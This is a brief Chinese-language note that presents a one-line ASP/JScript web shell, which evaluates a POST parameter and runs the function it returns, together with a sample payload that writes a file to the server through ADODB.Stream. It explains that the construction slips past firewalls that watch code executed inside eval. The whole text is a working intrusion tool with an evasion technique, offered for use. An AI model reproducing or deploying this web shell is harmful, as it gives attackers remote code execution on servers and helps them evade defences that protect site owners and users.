一句话代码:
<script language="javascript" runat="server">
Response.Write (({"a": eval(Request.Form("a").Item)}).a.a());
</script>
利用语句(参数a=):
({'a': function(){var a = new ActiveXObject("ADODB.Stream");var path = Server.MapPath('thisiszsx_testing.txt');a.Type = 2; a.Mode = 3; a.Open(); a.WriteText('this is zsx'); a.SaveToFile(path, 2); a.Close();Response.Write(path )}}) |
原理是eval内部生成函数,然后外部执行。可以过一些检测eval内代码执行行为的防火墙。